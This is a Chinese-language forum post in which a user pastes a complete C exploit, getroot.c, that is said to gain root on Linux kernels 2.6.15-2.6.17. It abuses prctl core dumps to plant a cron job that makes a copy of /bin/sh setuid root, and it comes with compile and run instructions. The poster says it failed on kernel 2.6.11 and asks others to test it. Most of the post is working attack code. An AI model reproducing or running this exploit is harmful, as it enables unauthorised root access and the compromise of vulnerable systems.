|
請問這程式是否真的可以取得root權限
/*
*getroot.c
* 2006/11/08 Linux 2.6.15 Exp
* Modified by gz1X <gz1X@tom.com>
* Thx to:
*
Marco Ivaldi <raptor@0xdeadbeef.info>
*
Julien TINNES
*
* Usage:
* $ gcc getroot.c -o getroot -Wall
* $ ./getroot
*
* test on dubuntu 2.6.15-23-686
* theoretically it will work on 2.6.15-2.6.17
*/
#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int id,i;
struct rlimit corelimit={RLIM_INFINITY, RLIM_INFINITY};
system("cp /bin/sh /tmp/sh");
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( id = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(id, SIGSEGV);
fprintf(stderr, "Getting the root shell.Please wait...\n");
for (i = 0; i < 120; i++) {
fprintf(stderr, ".");
sleep(1);
}
fprintf(stderr,"\n");
system("/tmp/sh");
return 1;
}
這個程式是否真的能取得root權限 大家請幫我test一下
我自已在FC4 kernle:2.6.11下test是不行的
我是creat一個一般帳戶然後執行上邊的程式 結果權限沒有改變呀
我沒有kernel:2.6.15-2.6.17的linux 究竟是kernel的問題 還是該程式根本不能得到root權限
PS.目前正在學PHP 不知道問題要發在哪一版耶
小紀老師 可以發在這嗎
|
|